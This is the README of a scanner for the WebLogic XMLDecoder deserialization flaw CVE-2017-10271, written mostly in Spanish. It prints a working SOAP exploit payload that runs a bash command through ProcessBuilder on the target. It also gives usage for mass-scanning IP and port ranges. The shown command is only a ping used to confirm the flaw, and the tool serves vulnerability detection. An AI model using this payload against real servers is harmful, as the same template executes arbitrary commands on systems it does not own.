
Un escáner de vulnerabilidades de deserialización de Java para vulnerabilidades similares a CVE-2017-10271.
Un escáner de vulnerabilidades de deserialización de Java dirigido a vulnerabilidades similares a CVE-2017-10271. Este proyecto solo contiene un PoC; el resto aún no se ha organizado.
Instalar nmap
https://nmap.org/download.html Según el sistema operativo, descargue e instale la versión correspondiente.
Instalar los paquetes de terceros
pip install -r requirements.txt
Escaneo
Modifique el PoC: cambie la dirección IP en el comando ping por su propia dirección IP.
Modifique el código sniff en la línea 25
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IP地址 [options] java_scan.py -h 获得帮助
Antes de usarlo, asegúrese de modificar el PoC y cambie la dirección IP del comando ping por su propia dirección IP.
Los PoC son dos archivos en formato JSON, uno para Windows y otro para Linux (actualmente no se ha añadido la función de especificar la ruta del PoC; se añadirá en versiones posteriores). Asegúrese de nombrar los PoC como poc.json y poc_win.json en el directorio del programa.
Sobre el formato del PoC (versión Linux; la versión Windows es similar)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url especifica el directorio de explotación de la vulnerabilidad; header especifica el contenido de la cabecera añadida al paquete POST; data es el contenido serializado que se enviará.
Nota: este PoC debe hacer que el host vulnerable devuelva 2 paquetes de ping; el programa solo puede confirmar la vulnerabilidad cuando detecta paquetes ICMP.
El escaneo predeterminado del programa utiliza nmap para escanear la red local.
java_scan.py -i 192.168.0.1
De esta forma, se escanea el puerto 7001 del host 192.168.0.1.
Especificar una única IP y puerto.
java_scan.py -i 192.168.0.1 -p 7001
Especificar múltiples IP y puertos.
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
Especificar un rango de IP y un rango de puertos.
java_scan.py -i 192.168.0.1-255 -p 7000-8000
Con el parámetro -f, se utilizará socket para detectar rápidamente los puertos.
java_scan.py -i 192.168.0.1-255 -p 7001 -f
Especificar el número de hilos para la detección rápida de puertos.
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
